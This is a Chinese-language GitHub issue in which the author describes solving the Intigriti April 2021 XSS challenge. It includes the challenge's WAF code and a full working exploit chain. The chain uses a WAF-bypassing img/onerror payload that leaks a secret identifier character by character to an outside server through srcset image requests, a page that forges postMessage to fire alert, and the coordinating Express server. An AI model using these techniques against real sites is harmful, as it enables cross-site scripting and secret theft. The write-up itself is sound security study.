Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

解題心得:Intigriti's 0421 XSS challenge(上) #78

Open
aszx87410 opened this issue May 25, 2021 · 0 comments
Open

解題心得:Intigriti's 0421 XSS challenge(上) #78

aszx87410 opened this issue May 25, 2021 · 0 comments
Labels
Front-End Front-End Security Security

Comments

@aszx87410
Copy link
Owner

前言

有天我在網路上閒晃的時候,看到了一個 XSS challenge:Intigriti's 0421 XSS challenge - by @terjanq,除了這個挑戰本身很吸引我之外,更吸引我的是出題的作者。

之前在網路上找到的許多比較偏前端的資安相關資源,都是由這個作者在維護或是貢獻的,例如說 Tiny XSS Payloads 或者是令人大開眼界的 XS-Leaks Wiki

Intigriti 這個網站似乎每個月都會舉辦這種 XSS challenge,而這一次的是他們有史以來舉辦過最難的一個。挑戰時間從 4/19~4/25,有一週的時間可以嘗試,最後成功解出的有 15 人。三月份的挑戰有 45 人解開,二月份有 33 人,所以這一次解出的人數確實少了許多,可想而知題目的難度。

我大概花了五天的時間,每天卡關的時候都想說「放棄好了,坐等解答」,但卻又時不時會有一些新的想法出現,想說就繼續試一下,最後終於在截止的那一天於時限前解開,解開的時候雙手握拳然後手肘往後,大喊:「太神辣」。

這篇想來記錄一下解題的心得,之前有寫了英文版的但大概比小學生作文還不如,還是寫個中文版的比較能完整表達自己的想法。標題會有個「上」是因為這篇寫我的解法,下一篇想來寫作者的解法,下下篇分析其他人的解法。

但我的部落格似乎被下了還沒寫好的系列文都會斷連載的詛咒,希望這次可以撐過去。

題目內容

題目在這邊:https://challenge-0421.intigriti.io/

目標是要在這個網站上成功執行 XSS,執行 alert('flag{THIS_IS_THE_FLAG}') 才算獲勝。

這道題目一共有兩個網頁,第一個是 index.html,底下我只擷取題目相關的程式碼:

<iframe id="wafIframe" src="./waf.html" sandbox="allow-scripts" style="display:none"></iframe>
<script>
  const wafIframe = document.getElementById('wafIframe').contentWindow;
  const identifier = getIdentifier();

  function getIdentifier() {
      const buf = new Uint32Array(2);
      crypto.getRandomValues(buf);
      return buf[0].toString(36) + buf[1].toString(36)
  }

  function htmlError(str, safe){
      const div = document.getElementById("error-content");
      const container = document.getElementById("error-container");
      container.style.display = "block";
      if(safe) div.innerHTML = str;
      else div.innerText = str;
      window.setTimeout(function(){
        div.innerHTML = "";
        container.style.display = "none";
      }, 10000);
  }

  function addError(str){
      wafIframe.postMessage({
          identifier,
          str
      }, '*');
  }

  window.addEventListener('message', e => {
      if(e.data.type === 'waf'){
          if(identifier !== e.data.identifier) throw /nice try/
          htmlError(e.data.str, e.data.safe)
      }
  });

  window.onload = () => {
      const error = (new URL(location)).searchParams.get('error');
      if(error !== null) addError(error);
  }

</script>

首先在 window onload 的時候會從 URL 的 query string 上面拿 error 的內容出來,然後呼叫 addError(error)。接著會把內容加上一個隨機產生的 id 用 postMessage 送到 wafIframe

wafIframe 處理完畢之後會再用 postMessage 把結果送回來,先檢查 identifier 是否相同,相同的話驗證通過,再看 e.data.safe 是不是 true,是的話就用 innerHTML 新增 e.data.str,否則的話就用 innerText。

再來我們看看另一個頁面 waf.html 在幹嘛:

onmessage = e => {
    const identifier = e.data.identifier;
    e.source.postMessage({
        type:'waf',
        identifier,
        str: e.data.str,
        safe: (new WAF()).isSafe(e.data.str)
    },'*');
}

function WAF() {
    const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
    const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']

    function decodeHTMLEntities(str) {
        var ta = document.createElement('textarea');
        ta.innerHTML = str;
        return ta.value;
    }

    function onlyASCII(str){
        return str.replace(/[^\x21-\x7e]/g,'');
    }

    function firstTag(str){
        return str.search(/<[a-z]+/i)
    }

    function firstOnHandler(str){
        return str.search(/on[a-z]{3,}/i)
    }

    function firstEqual(str){
        return str.search(/=/);
    }

    function hasDangerousOperators(str){
        return dangerous_operators.some(op=>str.includes(op));
    }

    function hasForbiddenWord(str){
        return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
    }

    this.isSafe = function(str) {
        let decoded = onlyASCII(decodeHTMLEntities(str));

        const first_tag = firstTag(decoded);
        if(first_tag === -1) return true;
        decoded = decoded.slice(first_tag);

        if(hasForbiddenWord(decoded)) return false;

        const first_on_handler = firstOnHandler(decoded);
        if(first_on_handler === -1) return true;
        decoded = decoded.slice(first_on_handler)

        const first_equal = firstEqual(decoded);
        if(first_equal === -1) return true;
        decoded = decoded.slice(first_equal+1);

        if(hasDangerousOperators(decoded)) return false;
        return true;
    }
}

這邊收到 index 傳來的資料時會經過一系列驗證,看看送來的資料是不是 safe,做的檢查依序為:

  1. 先把送來的資料 decode 而且只允許 ASCII
  2. 找第一個 html tag 並且過濾掉 ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']
  3. 找 onXXX handler 之後出現的第一個 = 號
  4. 不能有以下字元 ['"', "'", '``', '(', ')', '{', '}', '[', ']', '=']
  5. 以上都成功的話才 safe,才會被 index.html 當作 innerHTML 來解釋

結合以上條件,如果我傳 error=123,畫面就會顯示 123。如果我傳 <h1>hello</h1>,畫面就真的會顯示一個 hello 的 heading,但如果我傳 <script>alert(1)</script>,畫面就只會用文字顯示出來而不是當作 HTML 來執行,因為 safe 是 false。

以上大概就是題目的基本介紹,在這邊非常推薦大家自己先玩玩看,至少嘗試個一兩個小時卡關卡到爆之後再來看心得,收穫會多很多。

底下就是解題的心路歷程,會直接按照我解題的時間軸來寫。

初次嘗試

從題目中不難看出,想要成功 XSS 的話有兩條路可以走:

  1. 用各種奇技淫巧繞過限制,直接在頁面上執行 XSS
  2. 自己用 window.open 打開這頁面然後 postMessage,偽造訊息並且讓 safe 是 true,這樣就可以插入任意 HTML

一開始我是朝 1 的方向來想,因為 2 的話需要知道 identifier 是什麼,但因為那是隨機的所以不可能,我認為是一條死路。

所以接下來就是要想,要怎麼樣去繞過判斷的限制。

從濾掉的 tag 中可以發現我最愛的 <img> 沒有被濾掉,而 onXX 的 event handler 只是限制內容,也沒有一起被濾掉,所以可以用:<img src=x onerror=123> 來執行 JS。

但問題來了,儘管可以執行 JS,但不能用的字元太多了,() 不能用所以不能呼叫函式,想用反引號 ` 來呼叫也不行,那要怎麼樣執行 alert?我在這邊卡了很久,最後去 google:「js call function without parentheses」,找到了這一篇:js call function without parentheses,裡面提到了很多沒有想過的招數。

例如說物件的 valueOf 搭配 +,或者是用 new 的方式搭配 constructor,或最讓我驚豔的一個是 onerror=eval 搭配 throw,這些都是超級帥的技巧,試著不用 () 來繞過限制。

但以上這些通通都沒用,因為限制實在是太嚴格了,物件的 {} 不能用,new 因為要有空格所以也不能用。不能有空格是因為 <img onerror=new abc> 會被解釋為:<img onerror="new" abc>,如果想要一起被放入 onerror 就只能自己用 " 框起來,但 " 是限制的字元不能使用,所以 onerror 裡面不能出現空格。

throw 看起來有點機會,但是作為執行前提的 onerror=eval 有個等號,所以也沒辦法使用。

在這時候我就想說,那如果把限制的字元用 HTML entity encode 呢?把 = 變成 &#61; 來繞過限制。

試了之後發現沒有用,因為早在第一步 decodeHTMLEntities(str) 的時候就被還原成字元了,這時候我有兩個想法:

  1. 那可以對 decodeHTMLEntities 裡面的 textarea XSS 嗎?
  2. 那可以 double encode 嗎?

第一條路行不通,因為雖然有 ta.innerHTML = str;,但這元素從來沒有被放到 DOM 上,所以沒有用。

第二條路也行不通,因為最後 &#61; 只會被視作文字來顯示。

嘗試了許久,最後我什麼都試不出來,可以執行成功的程式碼頂多只有:<img src=x onerror=throw/0/+identifier>,把 identifier 作為錯誤訊息丟出來,然後就沒了。但這也什麼都做不到。

提示的幫助

這個挑戰每獲得 100 個愛心就會放出提示,而因為題目難度太高的關係所以也有加碼提示,我那時看到的有:

  1. First hint: find the objective! (4/19 21:57)
  2. Time for another hint! Where to smuggle data? (4/20 00:24)
  3. Time for another tip! One bite after another! (4/20 19:55)

說實在的,以上這幾個提示我都沒有看很懂,比較了解的是第三個,應該是 One "Byte" after another 的意思,回顧到我最前面所提到的 XS-Leaks 那個東西,我這時想說:「靠,該不會我一開始以為死路的路才是正解吧」。

我說的死路就是前面提到的:「從別的地方自己 postMessage 偽造訊息」,但前提是我要知道隨機產生的 identifier 是什麼才能成功。如果說這條路才是正解,那要解開的話流程就應該是:

  1. 開一個自己的網頁,用 window.open 打開 xss challenge
  2. 用某種方法得到 identifier
  3. 從這個網頁自己 postMessage 過去,插入任意 HTML

只要第二步成功了就可以整個串起來了。但問題是,我要怎麼知道 identifier 是什麼?既然提示說 one byte after another,那我猜應該是一個字元一個字元洩漏出去,所以可以先從一個字元開始想。

此時我想到這個:<img src=x onerror=identifier<'1'?is_zero:keep_trying>,我們可以用三元運算子搭配 < 來判斷第一個字是什麼,雖然不能用字串,但 '1' 可以用 <div id=n1>1</div> + n1.innerText 來取代,來避開單雙引號。而三元運算子可以一直巢狀下去,像是這樣:

identifier<'1'?is_zero:
identifier<'2'?is_one:
identifier<'3'?is_two:
identifier<'4'?is_three:
....

所以我們確實可以透過這方法得知 identifier 的第一個字元是什麼,但問題來了,知道之後,我們怎樣把這個資訊傳出去?

我們不能呼叫 function,甚至連賦值也不行,怎樣把資訊傳出去?如果可以用 = 的話那就可以 window.opener.location = xxx+1 之類的去改變 window.opener 的資訊,或者是:<img id=a src=x> 搭配 a.src=xxxx 去載入一個新的圖片,這樣我從 server side 就可以知道洩漏的字元是什麼。

但因為沒辦法用等號,所以上面這些都做不到。

這時候我又卡關了,而且卡了非常久,完全想不到該怎麼把資訊傳出去,這時候等到了下一個提示:

  1. Here's an extra tip: ++ is also an assignment (4/20 22:17)

我一開始看見這提示時覺得好像有點用,卻又不知道該怎麼用。++ 也可以改變值沒有錯,可是有什麼用呢?我一開始想說朝 window.opener 的方向去想,有沒有一些屬性是可以操控的,例如說:window.opener.name++是可行的嗎?或是有什麼其他屬性可以操控的。

如果我能夠改變某個 window.opener 的屬性,就能把洩漏的資訊透過某種方式傳回去。可是我找了很久還去翻了 spec,發現好像沒這種東西。window.opener.location 可以改變,但不能用 ++,因為 ++ 就像是 window.opener.location = window.opener.location + 1,執行的話會拋錯,因為有涉及到讀取:

VM82:1 Uncaught DOMException: Blocked a frame with origin "https://challenge-0421.intigriti.io" from accessing a cross-origin frame.

這時我想起了忘記在哪學到的一個招數,利用圖片的載入。

舉例來說,讓一張圖片不被載入,然後透過 ++ 改變 CSS 或其他屬性讓它載入,這樣我就可以從 server 知道這個資訊。

我試了這個:

<img id=n0 src=//server/n0 style="opacity:0;">
<img src=x onerror=identifier<'1'?n0.style.opacity++:...>

但透明度是 0 還是會載入圖片,所以沒有用。後來再試了幾個屬性,想起了最近有用到的一個:loading

以往如果要 lazy load 圖片的話,比較多是透過套件,早期需要去偵測 scroll,近期則是用 IntersectionObserver 就行了。而再更近一點,現在有不少瀏覽器有支援原生的 lazy loading:<img src=x loding="lazy">,如果圖片距離可視區域沒有超過一個 threshold 的話就不會被載入。

因此我們可以這樣做:

<div style="height: 9999px"></div>
<img id=n0 src=//server/n0 loading="lazy">
<img src=x onerror=identifier<'1'?n0.loading++:...>

先用一個很高的 div 把圖片往下推,推到 threshold 之外,然後在確認第一個字元是 0 的時候,把 n0 的 loading++,++ 之後會是 NaN,然後因為 loading 沒有 NaN 這個值,所以會 fallback 到預設的 auto,就會載入圖片。

假設 server/n0 是我自己的 server,那我收到 n0 這個 request,就代表第一個字元是 0。把這個想法擴展,我們確實可以知道第一個字元是什麼,像這樣:

<div style="height: 9999px"></div>
<img id=n0 src=//server/n0 loading="lazy">
<img id=n1 src=//server/n1 loading="lazy">
<img id=n2 src=//server/n2 loading="lazy">
<img src=x onerror=
identifier<'1'?n0.loading++:
identifier<'2'?n1.loading++:
identifier<'3'?n2.loading++:
...>

有了第一個字元了!那第二個怎麼辦?

沒辦法用 identifier[1],因為不能用括號。我想說有沒有 str.1 這種語法,結果也沒有。

在想過各種可能以後,我覺得這條路是死路,不可能在不能使用 [](){} 的情況下,拿到第 n 個字元。

解開弱化版?

雖然說我覺得不可能拿到第 n 個字元,解題也就此卡住,但我有了一個大膽的想法。

字串我沒有辦法拿到第 n 個字元,但如果是數字呢?我是不是可以透過一系列數學運算拿到?例如說 123,要拿到 2 就是 123/10%10 之類的(不過出來會是小數)。或者是直接利用二進位,num&1 就可以知道 num 的最後一個 bit,num&2 就可以知道倒數第二個 bit,以此類推,就可以知道每一個 bit 是多少。

可是 identifier 不是數字,那該怎麼辦?想辦法轉成數字!如果 identifier 只包含 0-9a-z,那我們可以在前面加上 0x 並搭配 + 轉成數字,最後會像這樣:

<body>
  <div style=height:9999px id=a>0x</div>
  <img src=https://example.com/x00 id=x00 loading=lazy>
  <img src=https://example.com/x01 id=x01 loading=lazy>
  <img src=https://example.com/x10 id=x10 loading=lazy>
  <img src=https://example.com/x11 id=x11 loading=lazy>
  <img src=https://example.com/x20 id=x20 loading=lazy>
  <img src=https://example.com/x21 id=x21 loading=lazy>
  <img src=x onerror=
a.innerText+identifier&1?x01.loading++:x00.loading++;
a.innerText+identifier&2?x11.loading++:x10.loading++;
a.innerText+identifier&4?x21.loading++:x20.loading++ >

</body>
<script>
  var identifier = 'a4' // 164
  // 10100100
  
</script>

這邊要注意的是 operator 的優先順序,有些如果順序不如預期就無法那樣用,例如說:+'0x'+identifier 就會先執行 +0x,而不是先把後面的字串相加。這邊剛好 & 會先試著轉成數字,所以才能這樣用。

從上面的 POC 可以證明如果我們能把 identifier 轉成數字,我們就可以解開這題。但 identifier 可能會有 f 以上的字元,那他可以轉成數字的機率是多少呢?

var count = 0
for(let i=0; i<100000;i++) {
  var id = getIdentifier()
  if (!Number.isNaN(Number('0x' + id))) {
    count++
  }
}
// 7, 0.007
console.log(count, (count * 100) / 100000)

不到 0.01%,非常低的機率,平均需要一萬次才能成功。

雖然這個機率無法接受,但至少我知道這個弱化的版本是解得開的。

又靠提示

在弱化版解開之後,我想說差不多就到這裡了。會不會是我方向錯誤,其實根本不是這樣解?

因為我真的想不到該怎樣才能拿到 identifier[n],覺得這不可能。

此時我又看到了新的提示:

  1. "Behind a Greater Oracle there stands one great Identity" (leak it) (4/22 15:53)
  2. Tipping time! Goal < object(ive) (4/23 01:58)

從這兩個新的提示,驗證了我的方向其實是對的,就是要 leak identifier,然後就是要用 < 的符號去比較。

所以我應該只差最後一兩步而已,就快要破關了。但這一兩步真的很難。

雖然說已經想要放棄了,但過了一天,又有一個新的想法:「其實根本不需要單獨拿到第二個字元!假設我有個地方 str 存第一個字元,那我只要 identifier < str + '1' 不就好了嗎?」

如果有地方存已經找到的字元,那就可以用類似迴圈的概念去跑,就可以洩漏出所有字元了。

那這個地方會是哪裡?這地方需要可以從 opener 傳過來,因為只有 opener 會知道現在洩漏出去的字元是什麼。可是因為 cross origin 的關係,opener 沒有一個屬性是可以存取的。

嘗試了大概一兩個小時,我突然想到可以反過來,不是從 opener 拿東西,而是 opener 把東西傳給 open 的 window。怎麼傳?可以用 location.hash!

從我們的網頁中用 window.open 開啟 XSS challenge 之後,可以用 win.location = url + '#a' 來加上 hash 而且不會重新載入網頁。加入之後在網頁中就可以用 location.hash 存取到。透過 location.hash 在 cross origin 的 window 之間交換資訊。

雖然說又往前邁進了一步,但其實還有兩個問題需要被解決:

  1. 我們需要一個類似迴圈的東西
  2. 我們需要能夠多次發送 request 到 server

先從第一個問題開始,我們需要不斷執行類似的程式碼,才能洩漏一個一個字元出來。這個倒是不難,可以透過 this.src++ 去改變 img 的 src,只要 src 一被賦值,儘管值一樣,還是會重新載入圖片,例如說這樣:

<body>
  <script>
    var count = 1
  </script>
  <img src=x onerror=count<10?count++&&src++:console.log(count)>
</body>

上面的程式碼會不斷把 count++,直到符合條件為止。count++&&src++ 也可以換成 count++ + src++,把空格去掉變成很多加號的 count+++src++

迴圈沒有問題了,接下來是多次洩露資訊的部分。之前我們用的 lazy loading,一個圖片只能用一次,因為圖片一旦載入了就是載入了,沒辦法再用 img.loading++ 來讓它再被載入一次。那怎麼辦呢?我們需要一個管道可以讓我們在指定的時機發送正確的 request。

在隨便亂試試了一段時間之後,我發現了一個神奇的屬性:srcset,神奇的點在於它跟 src 一起用的時候。

當我 src 與 srcset 一起設定的時候,瀏覽器會優先載入 srcset 的 url,而神奇的是當我把 src++ 的時候,就會再載入一次 srcset!下面是範例,會把 x2 載入十遍:

<body>
  <script>
    var count = 1
  </script>
  <img src=x1 srcset=x2 onerror=count<10?count+++this.src++:123>
</body>

既然這兩個問題都解開了,那把這些拼湊起來,就可以湊出最後的答案了,流程如下:

  1. 打開 poc.html,window.open XSS challenge
  2. error 帶上我們準備好的 payload
  3. 用 img 的 onerror 執行一堆巢狀的三元運算子,符合條件就載入相對應的圖片,洩漏出第 n 個字,並等待下一圈迴圈開始
  4. server 接收到圖片,知道第 n 個字是什麼
  5. server 把結果傳給 poc.html,poc.html 去更新 win.location.hash
  6. 更新完之後 server 透過回傳 response 來開啟下一圈迴圈,把 n+1,回到第 3 步
  7. 重複以上動作直到找出 token

以上是最理想的流程,但因為時間因素所以我有幾個地方沒有照著做,例如說:

  1. 我假設 identifier 的第一個字是 1,不是的話就跳掉
  2. server 等待 500ms 就會開始下一圈迴圈,但有可能 location.hash 還沒更新完成
  3. server 傳結果給 poc.html 最理想是用 websocket,但我偷懶用 long polling
  4. 我懶的判斷 identifier 是不是全部抓完,所以等 length > 10 就開始嘗試 postMessage

最後的程式碼長這樣:

var payload = `
<img srcset=//my_server/0 id=n0 alt=#>
<img srcset=//my_server/1 id=n1 alt=a>
<img srcset=//my_server/2 id=n2 alt=b>
<img srcset=//my_server/3 id=n3 alt=c>
<img srcset=//my_server/4 id=n4 alt=d>
<img srcset=//my_server/5 id=n5 alt=e>
<img srcset=//my_server/6 id=n6 alt=f>
<img srcset=//my_server/7 id=n7 alt=g>
<img srcset=//my_server/8 id=n8 alt=h>
<img srcset=//my_server/9 id=n9 alt=i>
<img srcset=//my_server/a id=n10 alt=j>
<img srcset=//my_server/b id=n11 alt=k>
<img srcset=//my_server/c id=n12 alt=l>
<img srcset=//my_server/d id=n13 alt=m>
<img srcset=//my_server/e id=n14 alt=n>
<img srcset=//my_server/f id=n15 alt=o>
<img srcset=//my_server/g id=n16 alt=p>
<img srcset=//my_server/h id=n17 alt=q>
<img srcset=//my_server/i id=n18 alt=r>
<img srcset=//my_server/j id=n19 alt=s>
<img srcset=//my_server/k id=n20 alt=t>
<img srcset=//my_server/l id=n21 alt=u>
<img srcset=//my_server/m id=n22 alt=v>
<img srcset=//my_server/n id=n23 alt=w>
<img srcset=//my_server/o id=n24 alt=x>
<img srcset=//my_server/p id=n25 alt=y>
<img srcset=//my_server/q id=n26 alt=z>
<img srcset=//my_server/r id=n27 alt=0>
<img srcset=//my_server/s id=n28>
<img srcset=//my_server/t id=n29>
<img srcset=//my_server/u id=n30>
<img srcset=//my_server/v id=n31>
<img srcset=//my_server/w id=n32>
<img srcset=//my_server/x id=n33>
<img srcset=//my_server/y id=n34>
<img srcset=//my_server/z id=n35>

<img id=lo srcset=//my_server/loop onerror=
n0.alt+identifier<location.hash+1?n0.src+++lo.src++:
n0.alt+identifier<location.hash+2?n1.src+++lo.src++:
n0.alt+identifier<location.hash+3?n2.src+++lo.src++:
n0.alt+identifier<location.hash+4?n3.src+++lo.src++:
n0.alt+identifier<location.hash+5?n4.src+++lo.src++:
n0.alt+identifier<location.hash+6?n5.src+++lo.src++:
n0.alt+identifier<location.hash+7?n6.src+++lo.src++:
n0.alt+identifier<location.hash+8?n7.src+++lo.src++:
n0.alt+identifier<location.hash+9?n8.src+++lo.src++:
n0.alt+identifier<location.hash+n1.alt?n9.src+++lo.src++:
n0.alt+identifier<location.hash+n2.alt?n10.src+++lo.src++:
n0.alt+identifier<location.hash+n3.alt?n11.src+++lo.src++:
n0.alt+identifier<location.hash+n4.alt?n12.src+++lo.src++:
n0.alt+identifier<location.hash+n5.alt?n13.src+++lo.src++:
n0.alt+identifier<location.hash+n6.alt?n14.src+++lo.src++:
n0.alt+identifier<location.hash+n7.alt?n15.src+++lo.src++:
n0.alt+identifier<location.hash+n8.alt?n16.src+++lo.src++:
n0.alt+identifier<location.hash+n9.alt?n17.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n18.src+++lo.src++:
n0.alt+identifier<location.hash+n11.alt?n19.src+++lo.src++:
n0.alt+identifier<location.hash+n12.alt?n20.src+++lo.src++:
n0.alt+identifier<location.hash+n13.alt?n21.src+++lo.src++:
n0.alt+identifier<location.hash+n14.alt?n22.src+++lo.src++:
n0.alt+identifier<location.hash+n15.alt?n23.src+++lo.src++:
n0.alt+identifier<location.hash+n16.alt?n24.src+++lo.src++:
n0.alt+identifier<location.hash+n17.alt?n25.src+++lo.src++:
n0.alt+identifier<location.hash+n18.alt?n26.src+++lo.src++:
n0.alt+identifier<location.hash+n19.alt?n27.src+++lo.src++:
n0.alt+identifier<location.hash+n20.alt?n28.src+++lo.src++:
n0.alt+identifier<location.hash+n21.alt?n29.src+++lo.src++:
n0.alt+identifier<location.hash+n22.alt?n30.src+++lo.src++:
n0.alt+identifier<location.hash+n23.alt?n31.src+++lo.src++:
n0.alt+identifier<location.hash+n24.alt?n32.src+++lo.src++:
n0.alt+identifier<location.hash+n25.alt?n33.src+++lo.src++:
n0.alt+identifier<location.hash+n26.alt?n34.src+++lo.src++:
n35.src+++lo.src++>`
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
  </head>
  <body>  
  </body>
  <script>
    var payload = // see above
    payload = encodeURIComponent(payload)

    var baseUrl = 'https://my_server'

    // reset first
    fetch(baseUrl + '/reset').then(() => {
      start()
    })

    async function start() {
      // assume identifier start with 1
      console.log('POC started')
      if (window.xssWindow) {
        window.xssWindow.close()
      }

      window.xssWindow = window.open(`https://challenge-0421.intigriti.io/?error=${payload}#1`, '_blank')

      polling()
    }

    function polling() {
      fetch(baseUrl + '/polling').then(res => res.text()).then((token) => {

        // guess fail, restart
        if (token === '1zz') {
          fetch(baseUrl + '/reset').then(() => {
            console.log('guess fail, restart')
            start()
          })
          return
        }

        if (token.length >= 10) {
          window.xssWindow.postMessage({
            type: 'waf',
            identifier: token,
            str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
            safe: true
          }, '*')
        }

        window.xssWindow.location = `https://challenge-0421.intigriti.io/?error=${payload}#${token}`

        // After POC finsihed, polling will timeout and got error message, I don't want to print the message
        if (token.length > 20) {
          return
        }

        console.log('token:', token)
        polling()
      })
    }
  </script>
</html>

寫得很隨便很醜而且有 bug 的 server side code:

var express = require('express')

const app = express()

app.use(express.static('public'));
app.use((req, res, next) => {
  res.set('Access-Control-Allow-Origin', '*');
  next()
})

const handlerDelay = 100
const loopDelay = 550

var initialData = {
  count: 0,
  token: '1',
  canStartLoop: false,
  loopStarted: false,
  canSendBack: false
}
var data = {...initialData}

app.get('/reset', (req, res) => {
  data = {...initialData}
  console.log('======reset=====')
  res.end('reset ok')
})

app.get('/polling', (req, res) => {
  function handle(req, res) {
    if (data.canSendBack) {
      data.canSendBack = false
      res.status(200)
      res.end(data.token)
      console.log('send back token:', data.token)

      if (data.token.length < 14) {
        setTimeout(() => {
          data.canStartLoop = true
        }, loopDelay)
      }
    } else {
      setTimeout(() => {
        handle(req, res)
      }, handlerDelay)
    }
  }

  handle(req, res)
})

app.get('/loop', (req, res) => {
  function handle(req, res) {
    if (data.canStartLoop) {
      data.canStartLoop = false
      res.status(500)
      res.end()
    } else {
      setTimeout(() => {
        handle(req, res)
      }, handlerDelay)
    }
  }

  handle(req, res)
})

app.get('/:char', (req, res) => {
  // already start stealing identifier
  if (req.params.char.length > 1) {
    res.end()
    return
  }
  console.log('char received', req.params.char)
  if (data.loopStarted) {
    data.token += req.params.char
    console.log('token:', data.token)
    data.canSendBack = true

    res.status(500)
    res.end()
    return 
  }

  // first round
  data.count++
  if (data.count === 36) {
    console.log('initial image loaded, start loop')
    data.count = 0
    data.loopStarted = true
    data.canStartLoop = true
  }
  res.status(500)
  res.end()
})

app.listen(5555, () => {
  console.log('5555')
})

結語

從這個 XSS challenge 裡面學到滿多的東西的,例如說:

  1. 利用 img src + onerror 製造迴圈(其實精確地講應該是遞迴啦)
  2. 利用 img src + srcset 來重複載入圖片
  3. 利用 location.hash 交換資訊
  4. 換個方式思考問題,用 > < 取代 ==,用比較代替等號
  5. 利用 /a/.source 或是 img.alt 之類的東西來取代字串,不使用單雙反引號構造字串

雖然花了不少時間,但解出來的那一刻成就感滿大的,而且又是難題所以成就感更高了。

這篇主要是描述我自己的解法,雖然有點麻煩(因為需要 server side),但是是我唯一可以想出來的解法。

如果沒意外的話,下一篇會跟大家介紹官方解答,利用一個我不會用而且完全忽略掉的元素:<object>

@aszx87410 aszx87410 added Front-End Front-End Security Security labels May 25, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Front-End Front-End Security Security
Projects
None yet
Development

No branches or pull requests

1 participant